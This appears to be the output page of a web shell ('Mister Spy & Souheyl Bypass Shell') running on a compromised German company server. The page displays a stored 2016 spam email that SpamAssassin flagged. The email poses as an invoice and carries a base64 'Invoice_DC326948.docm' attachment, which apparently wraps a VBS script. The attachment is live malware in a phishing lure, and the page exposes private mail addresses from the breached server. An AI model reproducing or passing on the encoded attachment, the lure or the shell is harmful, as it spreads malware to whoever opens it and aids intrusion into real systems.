Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /home/ift/mails/15/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : //home/ift/mails/15/1480581836.zrspam.157572_2016_12_01

From RALEIGH.ROBERTS@tecn-o-mac.com  Thu Dec  1 09:43:56 2016
Return-Path: <RALEIGH.ROBERTS@tecn-o-mac.com>
X-Original-To: swonneberger@ift-informatik.de
Delivered-To: swonneberger@ift-informatik.de
Received: by ift-informatik.de (Postfix, from userid 5555)
	id E481037525551; Thu,  1 Dec 2016 09:43:56 +0100 (CET)
Received: from localhost by h2486555.stratoserver.net
	with SpamAssassin (version 3.4.0);
	Thu, 01 Dec 2016 09:43:56 +0100
From: "ROBERTS, RALEIGH" <RALEIGH.ROBERTS@tecn-o-mac.com>
To: <qamar@msfoods.co.uk>
Subject: *****SPAM***** E-Mailed Invoices Invoice_DC326948
Date: Thu, 01 Dec 2016 15:43:46 +0700
Message-Id: <935998B112106F865656ED79FDA0E6817F52DE81@ift-informatik.de>
X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on
	h2486555.stratoserver.net
X-Spam-Flag: YES
X-Spam-Level: ********
X-Spam-Status: Yes, score=8.1 required=5.0 tests=BAYES_00,HTML_MESSAGE,
	RCVD_IN_BL_SPAMCOP_NET,RCVD_IN_BRBL_LASTEXT,RCVD_IN_PBL,RCVD_IN_PSBL,
	RCVD_IN_XBL,RDNS_NONE,URIBL_BLOCKED autolearn=no autolearn_force=no
	version=3.4.0
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----------=_583FE2CC.72518804"

This is a multi-part message in MIME format.

------------=_583FE2CC.72518804
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit

Spam detection software, running on the system "h2486555.stratoserver.net",
has identified this incoming email as possible spam.  The original
message has been attached to this so you can view it or label
similar future email.  If you have any questions, see
@@CONTACT_ADDRESS@@ for details.

Content preview:  Please find attached your latest purchase invoice. Any queries
   with either the quantity or price MUST be notified immediately to the department
   below. Yours sincerely, Sales Ledger Department Tel: +44 (0) 5723 068 710
   [...] 

Content analysis details:   (8.1 points, 5.0 required)

 pts rule name              description
---- ---------------------- --------------------------------------------------
 0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was blocked.
                            See
                            http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                             for more information.
                            [URIs: symanteccloud.com]
 3.3 RCVD_IN_PBL            RBL: Received via a relay in Spamhaus PBL
                            [115.77.155.212 listed in zen.spamhaus.org]
 0.4 RCVD_IN_XBL            RBL: Received via a relay in Spamhaus XBL
 2.7 RCVD_IN_PSBL           RBL: Received via a relay in PSBL
                            [115.77.155.212 listed in psbl.surriel.com]
 1.3 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
              [Blocked - see <http://www.spamcop.net/bl.shtml?115.77.155.212>]
 1.4 RCVD_IN_BRBL_LASTEXT   RBL: No description available.
                            [115.77.155.212 listed in bb.barracudacentral.org]
-1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
                            [score: 0.0000]
 0.0 HTML_MESSAGE           BODY: HTML included in message
 0.8 RDNS_NONE              Delivered to internal network by a host with no rDNS

The original message was not completely plain text, and may be unsafe to
open with some email clients; in particular, it may contain a virus,
or confirm that your address can receive spam.  If you wish to view
it, it may be safer to save it to a file and open it with an editor.


------------=_583FE2CC.72518804
Content-Type: message/rfc822; x-spam-type=original
Content-Description: original message before SpamAssassin
Content-Disposition: attachment
Content-Transfer-Encoding: 8bit

Received: from adsl.viettel.vn (unknown [115.77.155.212])
	by ift-informatik.de (Postfix) with ESMTP id 9BD0937525547
	for <swonneberger@ift-informatik.de>; Thu,  1 Dec 2016 09:43:50 +0100 (CET)
X-MimeOLE: Produced By Microsoft Exchange V6.5
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----_=_NextPart_001_0B81DC53.7411CF78"
Disposition-Notification-To: "ROBERTS, RALEIGH" <RALEIGH.ROBERTS@tecn-o-mac.com>
Subject: E-Mailed Invoices Invoice_DC326948
Date: Thu, 01 Dec 2016 15:43:46 +0700
Message-ID: <935998B112106F865656ED79FDA0E6817F52DE81@ift-informatik.de>
X-MS-Has-Attach: yes
X-MS-TNEF-Correlator:
Thread-Topic: E-Mailed Invoices Invoice_DC326948
From: "ROBERTS, RALEIGH" <RALEIGH.ROBERTS@tecn-o-mac.com>
To: <qamar@msfoods.co.uk>

This is a multi-part message in MIME format.

------_=_NextPart_001_0B81DC53.7411CF78
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_002_0B81DC53.7411CF78"


------_=_NextPart_002_0B81DC53.7411CF78
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

Please find attached your latest purchase invoice.=20
**************************************************=20
Any queries with either the quantity or price MUST=20
be notified immediately to the department below.=20
**************************************************=20
Yours sincerely, Sales Ledger Department=20
Tel: +44 (0) 5723 068 710=20


______________________________________________________________________
This email has been scanned by the Symantec Email Security.cloud service.
For more information please visit http://www.symanteccloud.com
______________________________________________________________________
------_=_NextPart_002_0B81DC53.7411CF78
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<html xmlns:v=3D"urn:schemas-microsoft-com:vml" xmlns:o=3D"urn:schemas-mic=
rosoft-com:office:office" xmlns:w=3D"urn:schemas-microsoft-com:office:word=
" xmlns:m=3D"http://schemas.microsoft.com/office/2004/12/omml" xmlns=3D"ht=
tp://www.w3.org/TR/REC-html40"><head><meta http-equiv=3DContent-Type conte=
nt=3D"text/html; charset=3Dus-ascii"><meta name=3DGenerator content=3D"Mic=
rosoft Word 14 (filtered medium)"><style><!--
/* Font Definitions */
@font-face
=09{font-family:Calibri;
=09panose-1:2 15 5 2 2 2 4 3 2 4;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
=09{margin:0cm;
=09margin-bottom:.0001pt;
=09font-size:12.0pt;
=09font-family:"Times New Roman","serif";}
a:link, span.MsoHyperlink
=09{mso-style-priority:99;
=09color:blue;
=09text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
=09{mso-style-priority:99;
=09color:purple;
=09text-decoration:underline;}
p
=09{mso-style-priority:99;
=09mso-margin-top-alt:auto;
=09margin-right:0cm;
=09mso-margin-bottom-alt:auto;
=09margin-left:0cm;
=09font-size:12.0pt;
=09font-family:"Times New Roman","serif";}
span.EmailStyle18
=09{mso-style-type:personal-compose;
=09font-family:"Arial","sans-serif";
=09color:black;}
.MsoChpDefault
=09{mso-style-type:export-only;
=09font-size:10.0pt;}
@page WordSection1
=09{size:612.0pt 792.0pt;
=09margin:72.0pt 72.0pt 72.0pt 72.0pt;}
div.WordSection1
=09{page:WordSection1;}
--></style><!--[if gte mso 9]><xml>
<o:shapedefaults v:ext=3D"edit" spidmax=3D"1026" />
</xml><![endif]--><!--[if gte mso 9]><xml>
<o:shapelayout v:ext=3D"edit">
<o:idmap v:ext=3D"edit" data=3D"1" />
</o:shapelayout></xml><![endif]--></head><body lang=3DEN-GB link=3Dblue vl=
ink=3Dpurple><div class=3DWordSection1><p><span style=3D'font-size:10.0pt;=
font-family:"Arial","sans-serif";color:black'>Please find attached your la=
test purchase invoice.</span> <br><span style=3D'font-size:10.0pt;font-fam=
ily:"Arial","sans-serif";color:black'>************************************=
**************</span> <br><span style=3D'font-size:10.0pt;font-family:"Ari=
al","sans-serif";color:black'>Any queries with either the quantity or pric=
e MUST</span> <br><span style=3D'font-size:10.0pt;font-family:"Arial","san=
s-serif";color:black'>be notified immediately to the department below.</sp=
an> <br><span style=3D'font-size:10.0pt;font-family:"Arial","sans-serif";c=
olor:black'>**************************************************</span> <br>=
<span style=3D'font-size:10.0pt;font-family:"Arial","sans-serif";color:bla=
ck'>Yours sincerely, Sales Ledger Department</span> <br><span style=3D'fon=
t-size:10.0pt;font-family:"Arial","sans-serif";color:black'> Tel: +44 (0) =
5723 068 710</span> <o:p></o:p></p></div><br clear=3D"both">
______________________________________________________________________<BR>=

This email has been scanned by the Symantec Email Security.cloud service.<=
BR>
For more information please visit http://www.symanteccloud.com<BR>
______________________________________________________________________<BR>=

</body></html>
------_=_NextPart_002_0B81DC53.7411CF78--

------_=_NextPart_001_0B81DC53.7411CF78
Content-Type: application/vnd.ms-word.document.macroEnabled.12;
	name="Invoice_DC326948.docm"
Content-Transfer-Encoding: base64
Content-Description: Invoice_DC326948.docm
Content-Disposition: attachment;
	filename="Invoice_DC326948.docm"

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
UEsFBgAAAAABAAEAPgAAACQHAAAAAA==

------_=_NextPart_001_0B81DC53.7411CF78--

------------=_583FE2CC.72518804--


bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net